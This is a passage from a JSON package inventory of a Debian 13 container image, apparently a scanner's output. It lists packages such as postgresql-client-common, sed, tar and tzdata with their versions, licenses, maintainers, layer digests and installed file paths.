"/usr/share/postgresql/17/man/man7/REFRESH_MATERIALIZED_VIEW.7.gz", "/usr/share/postgresql/17/man/man7/REINDEX.7.gz", "/usr/share/postgresql/17/man/man7/RELEASE_SAVEPOINT.7.gz", "/usr/share/postgresql/17/man/man7/RESET.7.gz", "/usr/share/postgresql/17/man/man7/REVOKE.7.gz", "/usr/share/postgresql/17/man/man7/ROLLBACK.7.gz", "/usr/share/postgresql/17/man/man7/ROLLBACK_PREPARED.7.gz", "/usr/share/postgresql/17/man/man7/ROLLBACK_TO_SAVEPOINT.7.gz", "/usr/share/postgresql/17/man/man7/SAVEPOINT.7.gz", "/usr/share/postgresql/17/man/man7/SECURITY_LABEL.7.gz", "/usr/share/postgresql/17/man/man7/SELECT.7.gz", "/usr/share/postgresql/17/man/man7/SELECT_INTO.7.gz", "/usr/share/postgresql/17/man/man7/SET.7.gz", "/usr/share/postgresql/17/man/man7/SET_CONSTRAINTS.7.gz", "/usr/share/postgresql/17/man/man7/SET_ROLE.7.gz", "/usr/share/postgresql/17/man/man7/SET_SESSION_AUTHORIZATION.7.gz", "/usr/share/postgresql/17/man/man7/SET_TRANSACTION.7.gz", "/usr/share/postgresql/17/man/man7/SHOW.7.gz", "/usr/share/postgresql/17/man/man7/START_TRANSACTION.7.gz", "/usr/share/postgresql/17/man/man7/TABLE.7.gz", "/usr/share/postgresql/17/man/man7/TRUNCATE.7.gz", "/usr/share/postgresql/17/man/man7/UNLISTEN.7.gz", "/usr/share/postgresql/17/man/man7/UPDATE.7.gz", "/usr/share/postgresql/17/man/man7/VACUUM.7.gz", "/usr/share/postgresql/17/man/man7/VALUES.7.gz", "/usr/share/postgresql/17/man/man7/WITH.7.gz", "/usr/share/postgresql/17/psqlrc.sample" ], "AnalyzedBy": "dpkg" }, { "ID": "postgresql-client-common@278", "Name": "postgresql-client-common", "Identifier": { "PURL": "pkg:deb/debian/postgresql-client-common@278?arch=all\u0026distro=debian-13.6", "UID": "29d5b621a38e9a25" }, "Version": "278", "Arch": "all", "SrcName": "postgresql-common", "SrcVersion": "278", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian PostgreSQL Maintainers \u003cteam+postgresql@tracker.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "netbase@6.5" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/postgresql-client-common/changelog.gz", "/usr/share/doc/postgresql-client-common/copyright", "/usr/share/lintian/overrides/postgresql-client-common", "/usr/share/man/man1/pg_wrapper.1.gz", "/usr/share/man/man5/postgresqlrc.5.gz", "/usr/share/man/man5/user_clusters.5.gz", "/usr/share/perl5/PgCommon.pm", "/usr/share/postgresql-common/maintscripts-functions", "/usr/share/postgresql-common/pg_wrapper", "/usr/share/postgresql-common/pgdg/apt.postgresql.org.asc", "/usr/share/postgresql-common/pgdg/apt.postgresql.org.gpg", "/usr/share/postgresql-common/pgdg/apt.postgresql.org.sh" ], "AnalyzedBy": "dpkg" }, { "ID": "readline-common@8.2-6", "Name": "readline-common", "Identifier": { "PURL": "pkg:deb/debian/readline-common@8.2-6?arch=all\u0026distro=debian-13.6", "UID": "c4beab42d2a9a634" }, "Version": "8.2", "Release": "6", "Arch": "all", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "6", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "InstalledFiles": [ "/usr/share/doc/readline-common/changelog.Debian.gz", "/usr/share/doc/readline-common/changelog.gz", "/usr/share/doc/readline-common/copyright", "/usr/share/doc/readline-common/inputrc.arrows", "/usr/share/info/rluserman.info.gz", "/usr/share/lintian/overrides/readline-common", "/usr/share/man/man3/history.3readline.gz", "/usr/share/man/man3/readline.3readline.gz", "/usr/share/readline/inputrc" ], "AnalyzedBy": "dpkg" }, { "ID": "rpcsvc-proto@1.4.3-1", "Name": "rpcsvc-proto", "Identifier": { "PURL": "pkg:deb/debian/rpcsvc-proto@1.4.3-1?arch=amd64\u0026distro=debian-13.6", "UID": "65d12e419928ee3d" }, "Version": "1.4.3", "Release": "1", "Arch": "amd64", "SrcName": "rpcsvc-proto", "SrcVersion": "1.4.3", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "permissive-fsf", "permissive-makefile-in", "permissive-autoconf-m4-no-warranty", "GPL-3+-autoconf-exception", "permissive-configure", "GPL-2+-autoconf-exception", "MIT", "permissive-autoconf-m4", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/rpcgen", "/usr/include/rpcsvc/bootparam_prot.h", "/usr/include/rpcsvc/bootparam_prot.x", "/usr/include/rpcsvc/key_prot.h", "/usr/include/rpcsvc/key_prot.x", "/usr/include/rpcsvc/klm_prot.h", "/usr/include/rpcsvc/klm_prot.x", "/usr/include/rpcsvc/mount.h", "/usr/include/rpcsvc/mount.x", "/usr/include/rpcsvc/nfs_prot.h", "/usr/include/rpcsvc/nfs_prot.x", "/usr/include/rpcsvc/nlm_prot.h", "/usr/include/rpcsvc/nlm_prot.x", "/usr/include/rpcsvc/rex.h", "/usr/include/rpcsvc/rex.x", "/usr/include/rpcsvc/rquota.h", "/usr/include/rpcsvc/rquota.x", "/usr/include/rpcsvc/rstat.h", "/usr/include/rpcsvc/rstat.x", "/usr/include/rpcsvc/rusers.h", "/usr/include/rpcsvc/rusers.x", "/usr/include/rpcsvc/sm_inter.h", "/usr/include/rpcsvc/sm_inter.x", "/usr/include/rpcsvc/spray.h", "/usr/include/rpcsvc/spray.x", "/usr/share/doc/rpcsvc-proto/changelog.Debian.gz", "/usr/share/doc/rpcsvc-proto/changelog.gz", "/usr/share/doc/rpcsvc-proto/copyright", "/usr/share/man/man1/rpcgen.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sed@4.9-2+deb13u1", "Name": "sed", "Identifier": { "PURL": "pkg:deb/debian/sed@4.9-2%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "a041ea16982bb927" }, "Version": "4.9", "Release": "2+deb13u1", "Arch": "amd64", "SrcName": "sed", "SrcVersion": "4.9", "SrcRelease": "2+deb13u1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "X11", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-only", "ISC", "BSD-4-Clause-UC", "BSL-1", "pcre" ], "Maintainer": "Clint Adams \u003cclint@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/sed", "/usr/share/doc/sed/AUTHORS", "/usr/share/doc/sed/BUGS.gz", "/usr/share/doc/sed/NEWS.gz", "/usr/share/doc/sed/README", "/usr/share/doc/sed/THANKS.gz", "/usr/share/doc/sed/changelog.Debian.gz", "/usr/share/doc/sed/changelog.gz", "/usr/share/doc/sed/copyright", "/usr/share/doc/sed/examples/dc.sed", "/usr/share/doc/sed/sedfaq.txt.gz", "/usr/share/info/sed.info.gz", "/usr/share/locale/af/LC_MESSAGES/sed.mo", "/usr/share/locale/ast/LC_MESSAGES/sed.mo", "/usr/share/locale/bg/LC_MESSAGES/sed.mo", "/usr/share/locale/ca/LC_MESSAGES/sed.mo", "/usr/share/locale/cs/LC_MESSAGES/sed.mo", "/usr/share/locale/da/LC_MESSAGES/sed.mo", "/usr/share/locale/de/LC_MESSAGES/sed.mo", "/usr/share/locale/el/LC_MESSAGES/sed.mo", "/usr/share/locale/eo/LC_MESSAGES/sed.mo", "/usr/share/locale/es/LC_MESSAGES/sed.mo", "/usr/share/locale/et/LC_MESSAGES/sed.mo", "/usr/share/locale/eu/LC_MESSAGES/sed.mo", "/usr/share/locale/fi/LC_MESSAGES/sed.mo", "/usr/share/locale/fr/LC_MESSAGES/sed.mo", "/usr/share/locale/ga/LC_MESSAGES/sed.mo", "/usr/share/locale/gl/LC_MESSAGES/sed.mo", "/usr/share/locale/he/LC_MESSAGES/sed.mo", "/usr/share/locale/hr/LC_MESSAGES/sed.mo", "/usr/share/locale/hu/LC_MESSAGES/sed.mo", "/usr/share/locale/id/LC_MESSAGES/sed.mo", "/usr/share/locale/it/LC_MESSAGES/sed.mo", "/usr/share/locale/ja/LC_MESSAGES/sed.mo", "/usr/share/locale/ka/LC_MESSAGES/sed.mo", "/usr/share/locale/ko/LC_MESSAGES/sed.mo", "/usr/share/locale/nb/LC_MESSAGES/sed.mo", "/usr/share/locale/nl/LC_MESSAGES/sed.mo", "/usr/share/locale/pl/LC_MESSAGES/sed.mo", "/usr/share/locale/pt/LC_MESSAGES/sed.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/sed.mo", "/usr/share/locale/ro/LC_MESSAGES/sed.mo", "/usr/share/locale/ru/LC_MESSAGES/sed.mo", "/usr/share/locale/sk/LC_MESSAGES/sed.mo", "/usr/share/locale/sl/LC_MESSAGES/sed.mo", "/usr/share/locale/sr/LC_MESSAGES/sed.mo", "/usr/share/locale/sv/LC_MESSAGES/sed.mo", "/usr/share/locale/tr/LC_MESSAGES/sed.mo", "/usr/share/locale/uk/LC_MESSAGES/sed.mo", "/usr/share/locale/vi/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/sed.mo", "/usr/share/man/man1/sed.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sensible-utils@0.0.25", "Name": "sensible-utils", "Identifier": { "PURL": "pkg:deb/debian/sensible-utils@0.0.25?arch=all\u0026distro=debian-13.6", "UID": "b998278a703e2460" }, "Version": "0.0.25", "Arch": "all", "SrcName": "sensible-utils", "SrcVersion": "0.0.25", "Licenses": [ "GPL-2.0-or-later", "All-permissive", "configure", "installsh", "GPL-2.0-only" ], "Maintainer": "Anibal Monsalve Salazar \u003canibal@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/select-editor", "/usr/bin/sensible-browser", "/usr/bin/sensible-editor", "/usr/bin/sensible-pager", "/usr/bin/sensible-terminal", "/usr/lib/mime/packages/sensible-utils", "/usr/share/doc/sensible-utils/changelog.gz", "/usr/share/doc/sensible-utils/copyright", "/usr/share/man/de/man1/select-editor.1.gz", "/usr/share/man/de/man1/sensible-browser.1.gz", "/usr/share/man/de/man1/sensible-editor.1.gz", "/usr/share/man/de/man1/sensible-pager.1.gz", "/usr/share/man/de/man1/sensible-terminal.1.gz", "/usr/share/man/fr/man1/select-editor.1.gz", "/usr/share/man/fr/man1/sensible-browser.1.gz", "/usr/share/man/fr/man1/sensible-editor.1.gz", "/usr/share/man/fr/man1/sensible-pager.1.gz", "/usr/share/man/fr/man1/sensible-terminal.1.gz", "/usr/share/man/man1/select-editor.1.gz", "/usr/share/man/man1/sensible-browser.1.gz", "/usr/share/man/man1/sensible-editor.1.gz", "/usr/share/man/man1/sensible-pager.1.gz", "/usr/share/man/man1/sensible-terminal.1.gz", "/usr/share/man/pl/man1/sensible-editor.1.gz", "/usr/share/man/pt/man1/select-editor.1.gz", "/usr/share/man/pt/man1/sensible-browser.1.gz", "/usr/share/man/pt/man1/sensible-pager.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sqv@1.3.0-3+b2", "Name": "sqv", "Identifier": { "PURL": "pkg:deb/debian/sqv@1.3.0-3%2Bb2?arch=amd64\u0026distro=debian-13.6", "UID": "2bf11ffe79190750" }, "Version": "1.3.0", "Release": "3+b2", "Arch": "amd64", "SrcName": "rust-sequoia-sqv", "SrcVersion": "1.3.0", "SrcRelease": "3", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.0-only" ], "Maintainer": "Debian Rust Maintainers \u003cpkg-rust-maintainers@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libgmp10@2:6.3.0+dfsg-3", "libhogweed6t64@3.10.1-1", "libnettle8t64@3.10.1-1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/sqv", "/usr/share/bash-completion/completions/sqv.bash", "/usr/share/doc/sqv/NEWS.gz", "/usr/share/doc/sqv/changelog.Debian.amd64.gz", "/usr/share/doc/sqv/changelog.Debian.gz", "/usr/share/doc/sqv/copyright", "/usr/share/fish/completions/sqv.fish", "/usr/share/man/man1/sqv.1.gz", "/usr/share/zsh/vendor-completions/_sqv" ], "AnalyzedBy": "dpkg" }, { "ID": "sysvinit-utils@3.14-4", "Name": "sysvinit-utils", "Identifier": { "PURL": "pkg:deb/debian/sysvinit-utils@3.14-4?arch=amd64\u0026distro=debian-13.6", "UID": "f7fb888c58ca826e" }, "Version": "3.14", "Release": "4", "Arch": "amd64", "SrcName": "sysvinit", "SrcVersion": "3.14", "SrcRelease": "4", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later", "GPL-3.0-only", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian sysvinit maintainers \u003cdebian-init-diversity@chiark.greenend.org.uk\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/init/init-d-script", "/usr/lib/init/vars.sh", "/usr/lib/lsb/init-functions", "/usr/lib/lsb/init-functions.d/00-verbose", "/usr/sbin/fstab-decode", "/usr/sbin/killall5", "/usr/share/doc/sysvinit-utils/changelog.Debian.gz", "/usr/share/doc/sysvinit-utils/copyright", "/usr/share/man/man5/init-d-script.5.gz", "/usr/share/man/man8/fstab-decode.8.gz", "/usr/share/man/man8/killall5.8.gz", "/usr/share/man/man8/pidof.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tar@1.35+dfsg-3.1", "Name": "tar", "Identifier": { "PURL": "pkg:deb/debian/tar@1.35%2Bdfsg-3.1?arch=amd64\u0026distro=debian-13.6", "UID": "4f69996c49afbaca" }, "Version": "1.35+dfsg", "Release": "3.1", "Arch": "amd64", "SrcName": "tar", "SrcVersion": "1.35+dfsg", "SrcRelease": "3.1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "LGPL-2.1-or-later", "LGPL-2.1-only", "LGPL-3.0-or-later", "LGPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Janos Lenart \u003cocsi@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/tar", "/usr/lib/mime/packages/tar", "/usr/sbin/rmt-tar", "/usr/sbin/tarcat", "/usr/share/doc/tar/AUTHORS", "/usr/share/doc/tar/NEWS.gz", "/usr/share/doc/tar/README.Debian", "/usr/share/doc/tar/THANKS.gz", "/usr/share/doc/tar/changelog.1.gz", "/usr/share/doc/tar/changelog.Debian.gz", "/usr/share/doc/tar/changelog.gz", "/usr/share/doc/tar/copyright", "/usr/share/locale/bg/LC_MESSAGES/tar.mo", "/usr/share/locale/ca/LC_MESSAGES/tar.mo", "/usr/share/locale/cs/LC_MESSAGES/tar.mo", "/usr/share/locale/da/LC_MESSAGES/tar.mo", "/usr/share/locale/de/LC_MESSAGES/tar.mo", "/usr/share/locale/el/LC_MESSAGES/tar.mo", "/usr/share/locale/eo/LC_MESSAGES/tar.mo", "/usr/share/locale/es/LC_MESSAGES/tar.mo", "/usr/share/locale/et/LC_MESSAGES/tar.mo", "/usr/share/locale/eu/LC_MESSAGES/tar.mo", "/usr/share/locale/fi/LC_MESSAGES/tar.mo", "/usr/share/locale/fr/LC_MESSAGES/tar.mo", "/usr/share/locale/ga/LC_MESSAGES/tar.mo", "/usr/share/locale/gl/LC_MESSAGES/tar.mo", "/usr/share/locale/hr/LC_MESSAGES/tar.mo", "/usr/share/locale/hu/LC_MESSAGES/tar.mo", "/usr/share/locale/id/LC_MESSAGES/tar.mo", "/usr/share/locale/it/LC_MESSAGES/tar.mo", "/usr/share/locale/ja/LC_MESSAGES/tar.mo", "/usr/share/locale/ka/LC_MESSAGES/tar.mo", "/usr/share/locale/ko/LC_MESSAGES/tar.mo", "/usr/share/locale/ky/LC_MESSAGES/tar.mo", "/usr/share/locale/ms/LC_MESSAGES/tar.mo", "/usr/share/locale/nb/LC_MESSAGES/tar.mo", "/usr/share/locale/nl/LC_MESSAGES/tar.mo", "/usr/share/locale/pl/LC_MESSAGES/tar.mo", "/usr/share/locale/pt/LC_MESSAGES/tar.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/tar.mo", "/usr/share/locale/ro/LC_MESSAGES/tar.mo", "/usr/share/locale/ru/LC_MESSAGES/tar.mo", "/usr/share/locale/sk/LC_MESSAGES/tar.mo", "/usr/share/locale/sl/LC_MESSAGES/tar.mo", "/usr/share/locale/sr/LC_MESSAGES/tar.mo", "/usr/share/locale/sv/LC_MESSAGES/tar.mo", "/usr/share/locale/tr/LC_MESSAGES/tar.mo", "/usr/share/locale/uk/LC_MESSAGES/tar.mo", "/usr/share/locale/vi/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/tar.mo", "/usr/share/man/man1/tar.1.gz", "/usr/share/man/man1/tarcat.1.gz", "/usr/share/man/man8/rmt-tar.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tzdata@2026b-0+deb13u1", "Name": "tzdata", "Identifier": { "PURL": "pkg:deb/debian/tzdata@2026b-0%2Bdeb13u1?arch=all\u0026distro=debian-13.6", "UID": "9e352e373d8245f0" }, "Version": "2026b", "Release": "0+deb13u1", "Arch": "all", "SrcName": "tzdata", "SrcVersion": "2026b", "SrcRelease": "0+deb13u1", "Licenses": [ "public-domain" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/tzdata/NEWS.Debian.gz", "/usr/share/doc/tzdata/README.Debian", "/usr/share/doc/tzdata/changelog.Debian.gz", "/usr/share/doc/tzdata/changelog.gz", "/usr/share/doc/tzdata/copyright", "/usr/share/lintian/overrides/tzdata", "/usr/share/zoneinfo/Africa/Abidjan", "/usr/share/zoneinfo/Africa/Accra", "/usr/share/zoneinfo/Africa/Addis_Ababa", "/usr/share/zoneinfo/Africa/Algiers", "/usr/share/zoneinfo/Africa/Asmara", "/usr/share/zoneinfo/Africa/Bamako", "/usr/share/zoneinfo/Africa/Bangui", "/usr/share/zoneinfo/Africa/Banjul", "/usr/share/zoneinfo/Africa/Bissau", "/usr/share/zoneinfo/Africa/Blantyre", "/usr/share/zoneinfo/Africa/Brazzaville", "/usr/share/zoneinfo/Africa/Bujumbura", "/usr/share/zoneinfo/Africa/Cairo", "/usr/share/zoneinfo/Africa/Casablanca", "/usr/share/zoneinfo/Africa/Ceuta", "/usr/share/zoneinfo/Africa/Conakry", "/usr/share/zoneinfo/Africa/Dakar", "/usr/share/zoneinfo/Africa/Dar_es_Salaam", "/usr/share/zoneinfo/Africa/Djibouti", "/usr/share/zoneinfo/Africa/Douala", "/usr/share/zoneinfo/Africa/El_Aaiun", "/usr/share/zoneinfo/Africa/Freetown", "/usr/share/zoneinfo/Africa/Gaborone", "/usr/share/zoneinfo/Africa/Harare", "/usr/share/zoneinfo/Africa/Johannesburg", "/usr/share/zoneinfo/Africa/Juba", "/usr/share/zoneinfo/Africa/Kampala", "/usr/share/zoneinfo/Africa/Khartoum", "/usr/share/zoneinfo/Africa/Kigali", "/usr/share/zoneinfo/Africa/Kinshasa", "/usr/share/zoneinfo/Africa/Lagos", "/usr/share/zoneinfo/Africa/Libreville", "/usr/share/zoneinfo/Africa/Lome", "/usr/share/zoneinfo/Africa/Luanda", "/usr/share/zoneinfo/Africa/Lubumbashi", "/usr/share/zoneinfo/Africa/Lusaka", "/usr/share/zoneinfo/Africa/Malabo", "/usr/share/zoneinfo/Africa/Maputo", "/usr/share/zoneinfo/Africa/Maseru", "/usr/share/zoneinfo/Africa/Mbabane", "/usr/share/zoneinfo/Africa/Mogadishu", "/usr/share/zoneinfo/Africa/Monrovia", "/usr/share/zoneinfo/Africa/Nairobi", "/usr/share/zoneinfo/Africa/Ndjamena", "/usr/share/zoneinfo/Africa/Niamey", "/usr/share/zoneinfo/Africa/Nouakchott", "/usr/share/zoneinfo/Africa/Ouagadougou", "/usr/share/zoneinfo/Africa/Porto-Novo", "/usr/share/zoneinfo/Africa/Sao_Tome", "/usr/share/zoneinfo/Africa/Tripoli", "/usr/share/zoneinfo/Africa/Tunis", "/usr/share/zoneinfo/Africa/Windhoek", "/usr/share/zoneinfo/America/Adak", "/usr/share/zoneinfo/America/Anchorage", "/usr/share/zoneinfo/America/Anguilla", "/usr/share/zoneinfo/America/Antigua", "/usr/share/zoneinfo/America/Araguaina", "/usr/share/zoneinfo/America/Argentina/Buenos_Aires", "/usr/share/zoneinfo/America/Argentina/Catamarca", "/usr/share/zoneinfo/America/Argentina/Cordoba", "/usr/share/zoneinfo/America/Argentina/Jujuy", "/usr/share/zoneinfo/America/Argentina/La_Rioja", "/usr/share/zoneinfo/America/Argentina/Mendoza", "/usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "/usr/share/zoneinfo/America/Argentina/Salta", "/usr/share/zoneinfo/America/Argentina/San_Juan", "/usr/share/zoneinfo/America/Argentina/San_Luis", "/usr/share/zoneinfo/America/Argentina/Tucuman", "/usr/share/zoneinfo/America/Argentina/Ushuaia", "/usr/share/zoneinfo/America/Aruba", "/usr/share/zoneinfo/America/Asuncion", "/usr/share/zoneinfo/America/Atikokan", "/usr/share/zoneinfo/America/Bahia", "/usr/share/zoneinfo/America/Bahia_Banderas", "/usr/share/zoneinfo/America/Barbados", "/usr/share/zoneinfo/America/Belem", "/usr/share/zoneinfo/America/Belize", "/usr/share/zoneinfo/America/Blanc-Sablon", "/usr/share/zoneinfo/America/Boa_Vista", "/usr/share/zoneinfo/America/Bogota", "/usr/share/zoneinfo/America/Boise", "/usr/share/zoneinfo/America/Cambridge_Bay", "/usr/share/zoneinfo/America/Campo_Grande", "/usr/share/zoneinfo/America/Cancun", "/usr/share/zoneinfo/America/Caracas", "/usr/share/zoneinfo/America/Cayenne", "/usr/share/zoneinfo/America/Cayman", "/usr/share/zoneinfo/America/Chicago", "/usr/share/zoneinfo/America/Chihuahua", "/usr/share/zoneinfo/America/Ciudad_Juarez", "/usr/share/zoneinfo/America/Costa_Rica", "/usr/share/zoneinfo/America/Coyhaique", "/usr/share/zoneinfo/America/Creston", "/usr/share/zoneinfo/America/Cuiaba", "/usr/share/zoneinfo/America/Curacao", "/usr/share/zoneinfo/America/Danmarkshavn", "/usr/share/zoneinfo/America/Dawson", "/usr/share/zoneinfo/America/Dawson_Creek", "/usr/share/zoneinfo/America/Denver", "/usr/share/zoneinfo/America/Detroit", "/usr/share/zoneinfo/America/Dominica", "/usr/share/zoneinfo/America/Edmonton", "/usr/share/zoneinfo/America/Eirunepe", "/usr/share/zoneinfo/America/El_Salvador", "/usr/share/zoneinfo/America/Fort_Nelson", "/usr/share/zoneinfo/America/Fortaleza", "/usr/share/zoneinfo/America/Glace_Bay", "/usr/share/zoneinfo/America/Goose_Bay", "/usr/share/zoneinfo/America/Grand_Turk", "/usr/share/zoneinfo/America/Grenada", "/usr/share/zoneinfo/America/Guadeloupe", "/usr/share/zoneinfo/America/Guatemala", "/usr/share/zoneinfo/America/Guayaquil", "/usr/share/zoneinfo/America/Guyana", "/usr/share/zoneinfo/America/Halifax", "/usr/share/zoneinfo/America/Havana", "/usr/share/zoneinfo/America/Hermosillo", "/usr/share/zoneinfo/America/Indiana/Indianapolis", "/usr/share/zoneinfo/America/Indiana/Knox", "/usr/share/zoneinfo/America/Indiana/Marengo", "/usr/share/zoneinfo/America/Indiana/Petersburg", "/usr/share/zoneinfo/America/Indiana/Tell_City", "/usr/share/zoneinfo/America/Indiana/Vevay", "/usr/share/zoneinfo/America/Indiana/Vincennes", "/usr/share/zoneinfo/America/Indiana/Winamac", "/usr/share/zoneinfo/America/Inuvik", "/usr/share/zoneinfo/America/Iqaluit", "/usr/share/zoneinfo/America/Jamaica", "/usr/share/zoneinfo/America/Juneau", "/usr/share/zoneinfo/America/Kentucky/Louisville", "/usr/share/zoneinfo/America/Kentucky/Monticello", "/usr/share/zoneinfo/America/La_Paz", "/usr/share/zoneinfo/America/Lima", "/usr/share/zoneinfo/America/Los_Angeles", "/usr/share/zoneinfo/America/Maceio", "/usr/share/zoneinfo/America/Managua", "/usr/share/zoneinfo/America/Manaus", "/usr/share/zoneinfo/America/Martinique", "/usr/share/zoneinfo/America/Matamoros", "/usr/share/zoneinfo/America/Mazatlan", "/usr/share/zoneinfo/America/Menominee", "/usr/share/zoneinfo/America/Merida", "/usr/share/zoneinfo/America/Metlakatla", "/usr/share/zoneinfo/America/Mexico_City", "/usr/share/zoneinfo/America/Miquelon", "/usr/share/zoneinfo/America/Moncton", "/usr/share/zoneinfo/America/Monterrey", "/usr/share/zoneinfo/America/Montevideo", "/usr/share/zoneinfo/America/Montserrat", "/usr/share/zoneinfo/America/Nassau", "/usr/share/zoneinfo/America/New_York", "/usr/share/zoneinfo/America/Nome", "/usr/share/zoneinfo/America/Noronha", "/usr/share/zoneinfo/America/North_Dakota/Beulah", "/usr/share/zoneinfo/America/North_Dakota/Center", "/usr/share/zoneinfo/America/North_Dakota/New_Salem", "/usr/share/zoneinfo/America/Nuuk", "/usr/share/zoneinfo/America/Ojinaga", "/usr/share/zoneinfo/America/Panama", "/usr/share/zoneinfo/America/Paramaribo", "/usr/share/zoneinfo/America/Phoenix", "/usr/share/zoneinfo/America/Port-au-Prince", "/usr/share/zoneinfo/America/Port_of_Spain", "/usr/share/zoneinfo/America/Porto_Velho", "/usr/share/zoneinfo/America/Puerto_Rico", "/usr/share/zoneinfo/America/Punta_Arenas", "/usr/share/zoneinfo/America/Rankin_Inlet", "/usr/share/zoneinfo/America/Recife", "/usr/share/zoneinfo/America/Regina", "/usr/share/zoneinfo/America/Resolute", "/usr/share/zoneinfo/America/Rio_Branco", "/usr/share/zoneinfo/America/Santarem", "/usr/share/zoneinfo/America/Santiago", "/usr/share/zoneinfo/America/Santo_Domingo", "/usr/share/zoneinfo/America/Sao_Paulo", "/usr/share/zoneinfo/America/Scoresbysund", "/usr/share/zoneinfo/America/Sitka", "/usr/share/zoneinfo/America/St_Johns", "/usr/share/zoneinfo/America/St_Kitts", "/usr/share/zoneinfo/America/St_Lucia", "/usr/share/zoneinfo/America/St_Thomas", "/usr/share/zoneinfo/America/St_Vincent", "/usr/share/zoneinfo/America/Swift_Current", "/usr/share/zoneinfo/America/Tegucigalpa", "/usr/share/zoneinfo/America/Thule", "/usr/share/zoneinfo/America/Tijuana", "/usr/share/zoneinfo/America/Toronto", "/usr/share/zoneinfo/America/Tortola", "/usr/share/zoneinfo/America/Vancouver", "/usr/share/zoneinfo/America/Whitehorse", "/usr/share/zoneinfo/America/Winnipeg", "/usr/share/zoneinfo/America/Yakutat", "/usr/share/zoneinfo/Antarctica/Casey", "/usr/share/zoneinfo/Antarctica/Davis", "/usr/share/zoneinfo/Antarctica/DumontDUrville", "/usr/share/zoneinfo/Antarctica/Macquarie", "/usr/share/zoneinfo/Antarctica/Mawson", "/usr/share/zoneinfo/Antarctica/McMurdo", "/usr/share/zoneinfo/Antarctica/Palmer", "/usr/share/zoneinfo/Antarctica/Rothera", "/usr/share/zoneinfo/Antarctica/Syowa", "/usr/share/zoneinfo/Antarctica/Troll", "/usr/share/zoneinfo/Antarctica/Vostok", "/usr/share/zoneinfo/Asia/Aden", "/usr/share/zoneinfo/Asia/Almaty", "/usr/share/zoneinfo/Asia/Amman", "/usr/share/zoneinfo/Asia/Anadyr", "/usr/share/zoneinfo/Asia/Aqtau", "/usr/share/zoneinfo/Asia/Aqtobe", "/usr/share/zoneinfo/Asia/Ashgabat", "/usr/share/zoneinfo/Asia/Atyrau", "/usr/share/zoneinfo/Asia/Baghdad", "/usr/share/zoneinfo/Asia/Bahrain", "/usr/share/zoneinfo/Asia/Baku", "/usr/share/zoneinfo/Asia/Bangkok", "/usr/share/zoneinfo/Asia/Barnaul", "/usr/share/zoneinfo/Asia/Beirut", "/usr/share/zoneinfo/Asia/Bishkek", "/usr/share/zoneinfo/Asia/Brunei", "/usr/share/zoneinfo/Asia/Chita", "/usr/share/zoneinfo/Asia/Colombo", "/usr/share/zoneinfo/Asia/Damascus", "/usr/share/zoneinfo/Asia/Dhaka", 